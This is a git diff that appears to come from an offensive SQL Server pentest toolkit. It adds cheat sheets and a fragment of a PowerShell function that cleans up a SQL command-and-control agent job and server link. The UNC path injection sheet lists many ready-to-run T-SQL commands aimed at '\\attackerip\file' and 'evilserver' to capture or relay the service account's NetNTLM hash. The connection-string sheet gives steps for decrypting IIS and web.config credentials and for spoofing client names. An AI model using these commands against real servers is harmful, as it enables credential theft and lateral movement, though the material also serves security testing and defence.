$SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup query to grab commands + $Query = " + -- Remove server link to SQL C2 Server + IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'SQLC2Server') = 1 + exec sp_dropserver 'SQLC2Server', 'droplogins'; + else + select 'The server link does not exist.' + + -- Remove C2 agent job + IF (SELECT count(*) FROM [msdb].[dbo].[sysjobs] job WHERE name like 'SQLC2 Agent Job') = 1 + EXEC msdb..sp_delete_job @job_name = N'SQLC2 Agent Job' ; + else + select 'The agent job does not exist.'" + + # Execute Query + $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + } + + End + { + Write-Verbose "$instance : Done." + } + } diff --git a/templates/CheatSheet_ConnectionStrings.txt b/templates/CheatSheet_ConnectionStrings.txt new file mode 100644 index 0000000..fcf3adc --- /dev/null +++ b/templates/CheatSheet_ConnectionStrings.txt @@ -0,0 +1,184 @@ +Below is a cheatsheet for creating SQL Server client connection strings and finding them in common configuration files. + +------------------------------------------------------------------ +CREATING CONNECTION STRINGS +------------------------------------------------------------------ + +---------------------- +Authentication Options +---------------------- + +Current Windows Account +Server=Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1" + +Provided Windows Account +Server=Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1;uid=Domain\Account;pwd=Password;" + +Provided SQL Login +Server=Server\Instance;Database=Master;Connection Timeout=1;User ID=Username;Password=Password;" + + +----------------------- +Connection Type Options +----------------------- + +TCP/IP +Server=TCP:Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1" + +Named Pipes +Connecting to instances by name, forcing a named pipes connection. +Server=np:Server;Database=Master;Integrated Security=SSPI;Connection Timeout=1" +Server=np:Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1" +Default instance: Server=\\APPHOST\pipe\unit\app;Database=Master;Integrated Security=SSPI;Connection Timeout=1" +Named instance: Server=\\APPHOST\pipe\MSSQL$SQLEXPRESS\SQL\query;Database=Master;Integrated Security=SSPI;Connection Timeout=1" + +VIA +Server=via:Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1" + +Shared Memory +Server=lpc:Servername\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1" +Server=(local);Database=Master;Integrated Security=SSPI;Connection Timeout=1" +Server=(.);Database=Master;Integrated Security=SSPI;Connection Timeout=1" + +Dedicated Admin Connection +Server=DAC:Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1" + + +----------------------- +Other Options +----------------------- + +Spoof Application Client +Data Source=(local);Initial Catalog=AdventureWorks;Integrated Security=True;Application Name="My Application" +Data Source=(local);Initial Catalog=AdventureWorks;Integrated Security=True;ApplicationName=".Net SqlClient Data Provider" +determine app name in sql server: select APP_NAME() + +Set Encryption +Driver='ODBC Driver 11 for SQL Server';Server=ServerNameHere;Encrypt=YES;TrustServerCertificate=YES +Data Source=(local);Initial Catalog=AdventureWorks;Integrated Security=True;Application Name="My Application";Encrypt=Yes + +Encrypt Flag Notes: +Data sent between client and server is encrypted using SSL. The name (or IP address) in a Subject Common Name (CN) or +Subject Alternative Name (SAN) in a SQL Server SSL certificate should exactly match the server name (or IP address) +specified in the connection string. + +Set Packet Size +https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnection.packetsize(v=vs.110).aspx +Note: This could potentially be used to obfuscate malicious payloads from network IDS going over unencrypted connections. +"Data Source=(local);Initial Catalog=AdventureWorks;Integrated Security=SSPI;Packet Size=512" + +----------------------- +Online References +----------------------- + +https://msdn.microsoft.com/en-us/library/ms130822.aspx +https://msdn.microsoft.com/en-us/library/ms188642.aspx +https://technet.microsoft.com/en-us/library/ms191260(v=sql.105).aspx +https://technet.microsoft.com/en-us/library/ms187662(v=sql.105).aspx +https://technet.microsoft.com/en-us/library/ms189307(v=sql.105).aspx +https://technet.microsoft.com/en-us/library/ms178068(v=sql.105).aspx +https://technet.microsoft.com/en-us/library/ms189595(v=sql.105).aspx +https://msdn.microsoft.com/en-us/library/ms254500(v=vs.110).aspx +https://msdn.microsoft.com/en-us/library/hh568455(v=sql.110).aspx +https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnectionstringbuilder(v=vs.110).aspx +https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnectionstringbuilder.applicationname(v=vs.110).aspx +https://www.connectionstrings.com/sql-server/ + + +------------------------------------------------------------------ +FINDING CONNECTION STRINGS +------------------------------------------------------------------ + +----------------------- +ODBC/DNS Notes +----------------------- +https://technet.microsoft.com/en-us/library/hh771015.aspx +https://technet.microsoft.com/en-us/library/hh771014.aspx + +Get all install ODBC drivers +Get-OdbcDriver + +Get all install ODBC drivers for SQL Server that are 64 bit +Get-OdbcDriver -Name "SQL Server*" -Platform "64-bit" + +Get all ODBC User DSNs for specified driver +$DsnArray = Get-OdbcDsn -DriverName "SQL Server*" + +Get ODBC System DSNs by name +Get-OdbcDsn -Name "MyPayroll" -DsnType "System" -Platform "32-bit" + +Get ODBC DSNs with names that contain a string +Get-OdbcDsn -Name "*Payroll*" + + +------------------------------- +Universal Data Link (UDL) Files +------------------------------- +https://msdn.microsoft.com/en-us/library/e38h511e(v=vs.71).aspx + +.UDL files often contain connection strings in a format similar to: + +[oledb] +; Everything after this line is an OLE DB initstring +Provider=SQLOLEDB.1;Persist Security Info=False;Data Source=servername;Initial Catalog=Northwind;Integrated Security=SSPI + +Finding UDL files +c: +cd \ +dir /s /b *.udl +Get-ChildItem -Path C:\ -Filter *.udl -Recurse | select fullname + + +------------------------------ +ApplicationHost.config Files +------------------------------ +https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-2/ + +Decrypt Entire Config File +-- +1. List application pools. + +appcmd list apppools +appcmd list apppools /text:MyTestPool + +2. Get clearext configuration file for specific pool. + +appcmd list apppool "MyTestPool" /text:* + +Decrypt Virtual Directory and Application Credentials in Config File +-- +1. List virtual directories. + +appcmd list vdir + +2. List configuration content. + +appcmd list vdir "Bike Shop/" /text:* + +------------------------------ +Web.config Files +------------------------------ +https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-1/#2 + +Finding web.config files +-- +c: +cd \ +dir /s /b web.config +Get-ChildItem -Path C:\ -Filter web.config -Recurse | select fullname + +Finding registered web.config files via appcmd.exe +-- +Common Paths: +C:\Program Files\IIS Express\appcmd.exe +C:\Program Files (x86)\IIS Express\appcmd.exe +%windir%\system32\inetsrv\appcmd + +Common Commands: +%windir%\system32\inetsrv\appcmd list vdir +dir /s /b v | find /I "web.config" + +Decrypted Web.config with aspnet_regiis.exe +-- +C:\Windows\Microsoft\.NETFrameworkv\2.0.50727\aspnet_regiis.exe -pdf "connectionStrings" c:\MyTestSite + diff --git a/templates/smo-common-commands.ps1 b/templates/CheatSheet_SMO_Commands.ps1 similarity index 100% rename from templates/smo-common-commands.ps1 rename to templates/CheatSheet_SMO_Commands.ps1 diff --git a/templates/CheatSheet_UncPathInjection.txt b/templates/CheatSheet_UncPathInjection.txt new file mode 100644 index 0000000..f2df2de --- /dev/null +++ b/templates/CheatSheet_UncPathInjection.txt @@ -0,0 +1,221 @@ +This is a list of SQL Server commands that support UNC path [injections] by default. +The injections can be used to capture or replay the NetNTLM password hash of the +Windows account used to run the SQL Server service. The SQL Server service account +has sysadmin privileges by default in all versions of SQL Server. + +Note: This list is most likely not complete. + +----------------------------------------------------------------------- +-- UNC Path Injections Executable by the Public Fixed Server Role +----------------------------------------------------------------------- +-- Note: All are supported by SQL Server 2000 to 2016 (excluding azure) + +-- XP_DIRTREE Extended Stored Procedure +-- Fix: "revoke execute on xp_dirtree to public" + +xp_dirtree '\\attackerip\file' +GO + +-- XP_FILEEXIST Extended Stored Procedure +-- Fix: "revoke execute on xp_fileexist to public" + +xp_fileexist '\\attackerip\file' +GO + +-- BACKUP Command +-- Note: The Public role can't actually execute the backup, but the UNC path is resolved prior to the authorization check. +-- Fix: https://technet.microsoft.com/library/security/MS16-136, https://technet.microsoft.com/en-us/library/security/mt674627.aspx +-- Fix note: No patch is available for SQL Server 2000 to 2008, because they are on longer supported. Upgrade if this is you. + +BACKUP LOG [TESTING] TO DISK = '\\attackerip\file' +GO + +BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file' +GO + +-- RESTORE Command +-- Note: The Public role can't actually execute the RESTORE, but the UNC path is resolved prior to the authorization check. +-- Fix: https://technet.microsoft.com/library/security/MS16-136, https://technet.microsoft.com/en-us/library/security/mt674627.aspx +-- Fix note: No patch is available for SQL Server 2000 to 2008, because they are on longer supported. Upgrade if this is you. + +RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file' +GO + +RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file' +GO + +RESTORE HEADERONLY FROM DISK = '\\attackerip\file' +GO + +RESTORE FILELISTONLY FROM DISK = '\\attackerip\file' +GO + +RESTORE LABELONLY FROM DISK = '\\attackerip\file' +GO + +RESTORE REWINDONLY FROM DISK = '\\attackerip\file' +GO + +RESTORE VERIFYONLY FROM DISK = '\\attackerip\file' +GO + +------------------------------------------------------ +-- Executable by the Sysadmin fixed server +-- and with other non Public roles / privileges +------------------------------------------------------ +-- Note: Almost every function and stored procedure that supports a file path allows UNC paths by design. + +-- Create assembly +CREATE ASSEMBLY HelloWorld FROM '\\attackerip\file' WITH PERMISSION_SET = SAFE; +GO + +-- Add exteneded stored procedure +sp_addextendedproc 'xp_hello','\\attackerip\file' + +-- Create Certificate +CREATE CERTIFICATE testing123 + FROM EXECUTABLE FILE = '\\attackerip\file'; +GO + +-- Backup Certificate +BACKUP CERTIFICATE test01 TO FILE = '\\attackerip\file' + WITH PRIVATE KEY (decryption by password = 'superpassword', + FILE = '\\attackerip\file', + encryption by password = 'superpassword'); +go + +-- Backup to file - Master Key +BACKUP MASTER KEY TO FILE = '\\attackerip\file' + ENCRYPTION BY PASSWORD = 'password' +GO + +-- Backup to file - Service Master Key +BACKUP SERVICE MASTER KEY TO FILE = '\\attackerip\file' + ENCRYPTION BY PASSWORD = 'password' +go + +-- Restore from file - Master Key +RESTORE MASTER KEY FROM FILE = '\\attackerip\file' + DECRYPTION BY PASSWORD = 'password' + ENCRYPTION BY PASSWORD = 'password' +go + +-- Restore from file - Service Master Key +RESTORE SERVICE MASTER KEY FROM FILE = '\\attackerip\file' + DECRYPTION BY PASSWORD = 'password' +go + +-- Read data from file - Bulk insert 1 +CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)) +BULK INSERT #TEXTFILE FROM '\\attackerip\file' +DROP TABLE #TEXTFILE + +-- Read data from file - Bulk insert 2 +CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)) +BULK INSERT #TEXTFILE FROM '\\attackerip\file' +WITH (FORMATFILE = '\\testing21\file') +DROP TABLE #TEXTFILE + +-- Read data from a file - fn_xe_file_target_read_file +SELECT * FROM sys.fn_xe_file_target_read_file ('\\attackerip\file','\\attackerip\file',null,null) +GO + +-- Read data from a file - fn_get_audit_file +SELECT * FROM sys.fn_get_audit_file ('\\attackerip\file','\\attackerip\file',default,default); +GO + +-- Create Server Audit to File +CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\attackerip\file'); +GO + +-- Install a cryptographic provider +sp_configure 'EKM provider enabled',1 +RECONFIGURE +GO +CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\attackerip\file'; +GO + +-- External file format - Azure only +CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\testing21\file'); +GO + +-- xp_subdirs +xp_subdirs '\\attackerip\file' + +-- xp_cmdshell +xp_cmdshell 'dir \\attackerip\file' + + +-- OpenRowSet +General Notes: +- 2k5 and up +- You must be a sysadmin. Running the TSQL below with can be used to capture the SQL Server service account password hash. +- This can also be used to transparently execute commands on remote SQL Servers; IF the servers share a service account and you are running as a sysadmin. This is just exploiting shared service accounts in a new way. + +EXEC sp_configure 'show advanced options', 1 +RECONFIGURE +GO +EXEC sp_configure 'ad hoc distributed queries', 1 +RECONFIGURE +GO + +-- passthrough sql service auth if your a sysadmin +DECLARE @sql NVARCHAR(MAX) +set @sql = 'select a.* from openrowset(''SQLNCLI'', ''Server=evilserver;Trusted_Connection=yes;'', ''select * from master.dbo.sysdatabases'') as a' +select @sql +EXEC sp_executeSQL @sql + +--Excel 2007-2010 (unc injection) +-- requires ad-hoc queries to be enabled, but then it can be run by any login +SELECT * --INTO #productlist +FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', + 'Excel 12.0 Xml;HDR=YES;Database=\\server\temp\Products.xlsx', + 'SELECT * FROM [ProductList$]'); + +--Excel 97-2003(unc injection) +-- requires ad-hoc queries to be enabled, but then it can be run by any login +SELECT * --INTO #productlist +FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0', + 'Excel 8.0;HDR=YES;Database=\\server\temp\Products.xls', + 'select * from [ProductList$]'); + +Source: https://www.experts-exchange.com/articles/3025/Retrieving-Data-From-Excel-Using-OPENROWSET.html + +--old Excel with new ACE driver - working query 1 (unc injection) +SELECT * --INTO #productlist +FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', + 'Excel 8.0;HDR=YES;Database=\\server\temp\Products.xls', + 'SELECT * FROM [ProductList$]'); + +--old Excel with new ACE driver - working query 2 (unc injection) +SELECT * --INTO #productlist +FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', + 'Excel 12.0;HDR=YES;Database=\\server\temp\Products.xls', + 'SELECT * FROM [ProductList$]'); + +--(unc injection) +SELECT * --INTO #productlist +FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', + 'Excel 12.0 Xml;HDR=YES;Database=\\server\temp\Products.xlsx', + 'SELECT * FROM [ProductList$]'); + +-- requires sysadmin or db_owner role +SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1 +,'\\attackerip\fakefile.bak' +,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL +,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL +,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL +,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL +,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL +,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL +,NULL,NULL,NULL,NULL) + +--OpenDataSource +-- works on everything since 2k8, requires ad-hoc queries to be enabled, but then it can be run by any login +- Ref: https://msdn.microsoft.com/en-us/library/ms179856.aspx +SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\server1\DataFolder\Documents\TestExcel.xls;Extended Properties=EXCEL 5.0')...[Sheet1$] ; + +-- Web Dav Notes +xp_dirtree '\\hostname@SSL\test' --ssl 443 +xp_dirtree '\\hostname@SSL@1234\test' --ssl port 1234 +xp_dirtree '\\hostname@1234\test' --http diff --git a/templates/VB and JS Scripts b/templates/VB and JS Scripts Examples similarity index 100% rename from templates/VB and JS Scripts rename to templates/VB and JS Scripts Examples